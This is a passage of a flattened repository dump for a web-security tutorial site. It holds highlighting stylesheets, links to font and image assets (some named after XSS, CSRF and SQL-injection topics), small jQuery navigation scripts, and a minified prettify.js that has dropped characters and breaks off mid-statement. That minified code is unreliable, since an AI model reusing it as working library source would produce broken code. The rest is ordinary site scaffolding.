.hljs-deletion { 112 | background: #fdd 113 | } 114 | 115 | .hljs-addition { 116 | background: #dfd 117 | } 118 | 119 | .diff .hljs-change { 120 | background: #0086b3 121 | } 122 | 123 | .hljs-chunk { 124 | color: #aaa 125 | } 126 | -------------------------------------------------------------------------------- /site/css/prettify-1.0.css: -------------------------------------------------------------------------------- 1 | .com { color: #93a1a1; } 2 | .lit { color: #195f91; } 3 | .pun, .opn, .clo { color: #93a1a1; } 4 | .fun { color: #dc322f; } 5 | .str, .atv { color: #D14; } 6 | .kwd, .prettyprint .tag { color: #1e347b; } 7 | .typ, .atn, .dec, .var { color: teal; } 8 | .pln { color: #48484c; } 9 | 10 | .prettyprint { 11 | padding: 8px; 12 | } 13 | .prettyprint.linenums { 14 | -webkit-box-shadow: inset 40px 0 0 #fbfbfc, inset 41px 0 0 #ececf0; 15 | -moz-box-shadow: inset 40px 0 0 #fbfbfc, inset 41px 0 0 #ececf0; 16 | box-shadow: inset 40px 0 0 #fbfbfc, inset 41px 0 0 #ececf0; 17 | } 18 | 19 | /* Specify class=linenums on a pre to get line numbering */ 20 | ol.linenums { 21 | margin: 0 0 0 33px; /* IE indents via margin-left */ 22 | } 23 | ol.linenums li { 24 | padding-left: 12px; 25 | color: #bebec5; 26 | line-height: 20px; 27 | text-shadow: 0 1px 0 #fff; 28 | } 29 | -------------------------------------------------------------------------------- /site/css/prism.css: -------------------------------------------------------------------------------- 1 | /* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+scss+bash */ 2 | /** 3 | * prism.js default theme for JavaScript, CSS and HTML 4 | * Based on dabblet (http://dabblet.com) 5 | * @author Lea Verou 6 | */ 7 | 8 | code[class*="language-"], 9 | pre[class*="language-"] { 10 | color: black; 11 | /* text-shadow: 0 1px white;*/ 12 | font-family: 'Inconsolata', Monaco, Consolas, 'Andale Mono', monospace; 13 | direction: ltr; 14 | text-align: left; 15 | white-space: pre; 16 | word-spacing: normal; 17 | word-break: normal; 18 | line-height: 1.4; 19 | 20 | -moz-tab-size: 4; 21 | -o-tab-size: 4; 22 | tab-size: 4; 23 | 24 | -webkit-hyphens: none; 25 | -moz-hyphens: none; 26 | -ms-hyphens: none; 27 | hyphens: none; 28 | } 29 | 30 | pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, 31 | code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { 32 | text-shadow: none; 33 | background: #b3d4fc; 34 | } 35 | 36 | pre[class*="language-"]::selection, pre[class*="language-"] ::selection, 37 | code[class*="language-"]::selection, code[class*="language-"] ::selection { 38 | text-shadow: none; 39 | background: #b3d4fc; 40 | } 41 | 42 | @media print { 43 | code[class*="language-"], 44 | pre[class*="language-"] { 45 | text-shadow: none; 46 | } 47 | } 48 | 49 | /* Code blocks */ 50 | pre[class*="language-"] { 51 | padding: 1em; 52 | margin: .5em 0; 53 | overflow: auto; 54 | } 55 | 56 | :not(pre) > code[class*="language-"], 57 | pre[class*="language-"] { 58 | background: #f5f2f0; 59 | } 60 | 61 | /* Inline code */ 62 | :not(pre) > code[class*="language-"] { 63 | padding: .1em; 64 | border-radius: .3em; 65 | } 66 | 67 | .token.comment, 68 | .token.prolog, 69 | .token.doctype, 70 | .token.cdata { 71 | color: slategray; 72 | } 73 | 74 | .token.punctuation { 75 | color: #999; 76 | } 77 | 78 | .namespace { 79 | opacity: .7; 80 | } 81 | 82 | .token.property, 83 | .token.tag, 84 | .token.boolean, 85 | .token.number, 86 | .token.constant, 87 | .token.symbol, 88 | .token.deleted { 89 | color: #905; 90 | } 91 | 92 | .token.selector, 93 | .token.attr-name, 94 | .token.string, 95 | .token.char, 96 | .token.builtin, 97 | .token.inserted { 98 | color: #690; 99 | } 100 | 101 | .token.operator, 102 | .token.entity, 103 | .token.url, 104 | .language-css .token.string, 105 | .style .token.string { 106 | color: #a67f59; 107 | background: hsla(0, 0%, 100%, .5); 108 | } 109 | 110 | .token.atrule, 111 | .token.attr-value, 112 | .token.keyword { 113 | color: #07a; 114 | } 115 | 116 | .token.function { 117 | color: #DD4A68; 118 | } 119 | 120 | .token.regex, 121 | .token.important, 122 | .token.variable { 123 | color: #e90; 124 | } 125 | 126 | .token.important { 127 | font-weight: bold; 128 | } 129 | 130 | .token.entity { 131 | cursor: help; 132 | } 133 | 134 | -------------------------------------------------------------------------------- /site/font/material-design-icons/Material-Design-Icons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/material-design-icons/Material-Design-Icons.eot -------------------------------------------------------------------------------- /site/font/material-design-icons/Material-Design-Icons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/material-design-icons/Material-Design-Icons.ttf -------------------------------------------------------------------------------- /site/font/material-design-icons/Material-Design-Icons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/material-design-icons/Material-Design-Icons.woff -------------------------------------------------------------------------------- /site/font/material-design-icons/Material-Design-Icons.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/material-design-icons/Material-Design-Icons.woff2 -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Bold.ttf -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Bold.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Bold.woff -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Bold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Bold.woff2 -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Light.ttf -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Light.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Light.woff -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Light.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Light.woff2 -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Medium.ttf -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Medium.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Medium.woff -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Medium.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Medium.woff2 -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Regular.ttf -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Regular.woff -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Regular.woff2 -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Thin.ttf -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Thin.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Thin.woff -------------------------------------------------------------------------------- /site/font/roboto/Roboto-Thin.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/font/roboto/Roboto-Thin.woff2 -------------------------------------------------------------------------------- /site/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /site/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /site/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /site/img/Bell-Lapadula.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Bell-Lapadula.png -------------------------------------------------------------------------------- /site/img/CSS-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/CSS-1.png -------------------------------------------------------------------------------- /site/img/CSS-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/CSS-2.png -------------------------------------------------------------------------------- /site/img/CSS-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/CSS-3.png -------------------------------------------------------------------------------- /site/img/ClickJacking.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/ClickJacking.jpg -------------------------------------------------------------------------------- /site/img/Cookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Cookie.png -------------------------------------------------------------------------------- /site/img/Dom-XSS.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Dom-XSS.png -------------------------------------------------------------------------------- /site/img/Linux_file.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Linux_file.jpg -------------------------------------------------------------------------------- /site/img/MVC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/MVC.png -------------------------------------------------------------------------------- /site/img/Malicious-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Malicious-1.png -------------------------------------------------------------------------------- /site/img/Malicious-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Malicious-2.png -------------------------------------------------------------------------------- /site/img/Persistent-XSS.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Persistent-XSS.png -------------------------------------------------------------------------------- /site/img/Reflected-XSS.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Reflected-XSS.png -------------------------------------------------------------------------------- /site/img/SQL_Injection.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/SQL_Injection.jpg -------------------------------------------------------------------------------- /site/img/Same-Origin-Policy-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Same-Origin-Policy-1.png -------------------------------------------------------------------------------- /site/img/Same-Origin-Policy-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Same-Origin-Policy-2.png -------------------------------------------------------------------------------- /site/img/Sandbox-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/Sandbox-1.png -------------------------------------------------------------------------------- /site/img/TapJacking.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/TapJacking.jpg -------------------------------------------------------------------------------- /site/img/attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/attack.png -------------------------------------------------------------------------------- /site/img/browse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/browse.png -------------------------------------------------------------------------------- /site/img/csrf_attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/csrf_attack.png -------------------------------------------------------------------------------- /site/img/evil2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/evil2.png -------------------------------------------------------------------------------- /site/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/favicon.ico -------------------------------------------------------------------------------- /site/img/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/favicon.png -------------------------------------------------------------------------------- /site/img/grid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/grid.png -------------------------------------------------------------------------------- /site/img/initial-config.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/initial-config.png -------------------------------------------------------------------------------- /site/img/initial-layout.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/initial-layout.png -------------------------------------------------------------------------------- /site/img/injection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/injection.png -------------------------------------------------------------------------------- /site/img/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/login.png -------------------------------------------------------------------------------- /site/img/login1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/login1.png -------------------------------------------------------------------------------- /site/img/login2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/login2.png -------------------------------------------------------------------------------- /site/img/modsecurity.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/modsecurity.png -------------------------------------------------------------------------------- /site/img/myzoo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/myzoo.png -------------------------------------------------------------------------------- /site/img/readthedocs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/readthedocs.png -------------------------------------------------------------------------------- /site/img/register.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/register.png -------------------------------------------------------------------------------- /site/img/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/screenshot.png -------------------------------------------------------------------------------- /site/img/site-name.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/site-name.png -------------------------------------------------------------------------------- /site/img/waf-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/waf-1.png -------------------------------------------------------------------------------- /site/img/waf-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/waf-2.png -------------------------------------------------------------------------------- /site/img/xss-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-1.png -------------------------------------------------------------------------------- /site/img/xss-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-2.png -------------------------------------------------------------------------------- /site/img/xss-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-3.png -------------------------------------------------------------------------------- /site/img/xss-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-4.png -------------------------------------------------------------------------------- /site/img/xss-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-5.png -------------------------------------------------------------------------------- /site/img/xss-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-6.png -------------------------------------------------------------------------------- /site/img/xss-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-7.png -------------------------------------------------------------------------------- /site/img/xss-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-8.png -------------------------------------------------------------------------------- /site/img/xss-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-9.png -------------------------------------------------------------------------------- /site/img/xss-defense-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-defense-1.png -------------------------------------------------------------------------------- /site/img/xss-worm-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-worm-1.jpg -------------------------------------------------------------------------------- /site/img/xss-worm-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-worm-2.png -------------------------------------------------------------------------------- /site/img/xss-worm-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-worm-3.png -------------------------------------------------------------------------------- /site/img/xss-worm-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-worm-4.png -------------------------------------------------------------------------------- /site/img/xss-worm-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/site/img/xss-worm-5.png -------------------------------------------------------------------------------- /site/js/base.js: -------------------------------------------------------------------------------- 1 | 2 | /* Highlight */ 3 | $( document ).ready(function() { 4 | hljs.initHighlightingOnLoad(); 5 | $('table').addClass('table'); 6 | }); 7 | 8 | 9 | /* Scrollspy */ 10 | var navHeight = $('.navbar').outerHeight(true) + 10 11 | 12 | $('body').scrollspy({ 13 | target: '.bs-sidebar', 14 | offset: navHeight 15 | }) 16 | 17 | 18 | /* Prevent disabled links from causing a page reload */ 19 | $("li.disabled a").click(function() { 20 | event.preventDefault(); 21 | }); 22 | 23 | 24 | /* Adjust the scroll height of anchors to compensate for the fixed navbar */ 25 | window.disableShift = false; 26 | var shiftWindow = function() { 27 | if (window.disableShift) { 28 | window.disableShift = false; 29 | } else { 30 | /* If we're at the bottom of the page, don't erronously scroll up */ 31 | var scrolledToBottomOfPage = ( 32 | (window.innerHeight + window.scrollY) >= document.body.offsetHeight 33 | ); 34 | if (!scrolledToBottomOfPage) { 35 | scrollBy(0, -60); 36 | }; 37 | }; 38 | }; 39 | if (location.hash) {shiftWindow();} 40 | window.addEventListener("hashchange", shiftWindow); 41 | 42 | 43 | /* Deal with clicks on nav links that do not change the current anchor link. */ 44 | $("ul.nav a" ).click(function() { 45 | var href = this.href; 46 | var suffix = location.hash; 47 | var matchesCurrentHash = (href.indexOf(suffix, href.length - suffix.length) !== -1); 48 | if (location.hash && matchesCurrentHash) { 49 | /* Force a single 'hashchange' event to occur after the click event */ 50 | window.disableShift = true; 51 | location.hash=''; 52 | }; 53 | }); 54 | -------------------------------------------------------------------------------- /site/js/init.js: -------------------------------------------------------------------------------- 1 | (function($){ 2 | $(function(){ 3 | $( "h1[id], h2[id], h3[id]" ).addClass("scrollspy"); 4 | $("img").addClass("responsive-img"); 5 | $("pre, code").addClass("language-javascript"); 6 | $('.button-collapse').sideNav(); 7 | $('.scrollspy').scrollSpy(); 8 | 9 | }); // end of document ready 10 | })(jQuery); // end of jQuery name space -------------------------------------------------------------------------------- /site/js/prettify-1.0.min.js: -------------------------------------------------------------------------------- 1 | var q=null;window.PR_SHOULD_USE_CONTINUATION=!0; 2 | (function(){function L(a){function m(a){var f=a.charCodeAt(0);if(f!==92)return f;var b=a.charAt(1);return(f=r[b])?f:"0"<=b&&b<="7"?parseInt(a.substring(1),8):b==="u"||b==="x"?parseInt(a.substring(2),16):a.charCodeAt(1)}function e(a){if(a<32)return(a<16?"\\x0":"\\x")+a.toString(16);a=String.fromCharCode(a);if(a==="\\"||a==="-"||a==="["||a==="]")a="\\"+a;return a}function h(a){for(var f=a.substring(1,a.length-1).match(/\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\S\s]|[^\\]/g),a= 3 | [],b=[],o=f[0]==="^",c=o?1:0,i=f.length;c122||(d<65||j>90||b.push([Math.max(65,j)|32,Math.min(d,90)|32]),d<97||j>122||b.push([Math.max(97,j)&-33,Math.min(d,122)&-33]))}}b.sort(function(a,f){return a[0]-f[0]||f[1]-a[1]});f=[];j=[NaN,NaN];for(c=0;ci[0]&&(i[1]+1>i[0]&&b.push("-"),b.push(e(i[1])));b.push("]");return b.join("")}function y(a){for(var f=a.source.match(/\[(?:[^\\\]]|\\[\S\s])*]|\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\\d+|\\[^\dux]|\(\?[!:=]|[()^]|[^()[\\^]+/g),b=f.length,d=[],c=0,i=0;c=2&&a==="["?f[c]=h(j):a!=="\\"&&(f[c]=j.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return f.join("")}for(var t=0,s=!1,l=!1,p=0,d=a.length;p=5&&"lang-"===b.substring(0,5))&&!(o&&typeof o[1]==="string"))c=!1,b="src";c||(r[f]=b)}i=d;d+=f.length;if(c){c=o[1];var j=f.indexOf(c),k=j+c.length;o[2]&&(k=f.length-o[2].length,j=k-c.length);b=b.substring(5);B(l+i,f.substring(0,j),e,p);B(l+i+j,c,C(b,c),p);B(l+i+k,f.substring(k),e,p)}else p.push(l+i,b)}a.e=p}var h={},y;(function(){for(var e=a.concat(m), 9 | l=[],p={},d=0,g=e.length;d=0;)h[n.charAt(k)]=r;r=r[1];n=""+r;p.hasOwnProperty(n)||(l.push(r),p[n]=q)}l.push(/[\S\s]/);y=L(l)})();var t=m.length;return e}function u(a){var m=[],e=[];a.tripleQuotedStrings?m.push(["str",/^(?:'''(?:[^'\\]|\\[\S\s]|''?(?=[^']))*(?:'''|$)|"""(?:[^"\\]|\\[\S\s]|""?(?=[^"]))*(?:"""|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$))/,q,"'\""]):a.multiLineStrings?m.push(["str",/^(?:'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$)|`(?:[^\\`]|\\[\S\s])*(?:`|$))/, 10 | q,"'\"`"]):m.push(["str",/^(?:'(?:[^\n\r'\\]|\\.)*(?:'|$)|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,q,"\"'"]);a.verbatimStrings&&e.push(["str",/^@"(?:[^"]|"")*(?:"|$)/,q]);var h=a.hashComments;h&&(a.cStyleComments?(h>1?m.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,"#"]):m.push(["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,q,"#"]),e.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,q])):m.push(["com",/^#[^\n\r]*/, 11 | q,"#"]));a.cStyleComments&&(e.push(["com",/^\/\/[^\n\r]*/,q]),e.push(["com",/^\/\*[\S\s]*?(?:\*\/|$)/,q]));a.regexLiterals&&e.push(["lang-regex",/^(?:^^\.?|[!+-]|!=|!==|#|%|%=|&|&&|&&=|&=|\(|\*|\*=|\+=|,|-=|->|\/|\/=|:|::|;|<|<<|<<=|<=|=|==|===|>|>=|>>|>>=|>>>|>>>=|[?@[^]|\^=|\^\^|\^\^=|{|\||\|=|\|\||\|\|=|~|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\s*(\/(?=[^*/])(?:[^/[\\]|\\[\S\s]|\[(?:[^\\\]]|\\[\S\s])*(?:]|$))+\/)/]);(h=a.types)&&e.push(["typ",h]);a=(""+a.keywords).replace(/^ | $/g, 12 | "");a.length&&e.push(["kwd",RegExp("^(?:"+a.replace(/[\s,]+/g,"|")+")\\b"),q]);m.push(["pln",/^\s+/,q," \r\n\t\xa0"]);e.push(["lit",/^@[$_a-z][\w$@]*/i,q],["typ",/^(?:[@_]?[A-Z]+[a-z][\w$@]*|\w+_t\b)/,q],["pln",/^[$_a-z][\w$@]*/i,q],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,q,"0123456789"],["pln",/^\\[\S\s]?/,q],["pun",/^.[^\s\w"-$'./@\\`]*/,q]);return x(m,e)}function D(a,m){function e(a){switch(a.nodeType){case 1:if(k.test(a.className))break;if("BR"===a.nodeName)h(a), 13 | a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)e(a);break;case 3:case 4:if(p){var b=a.nodeValue,d=b.match(t);if(d){var 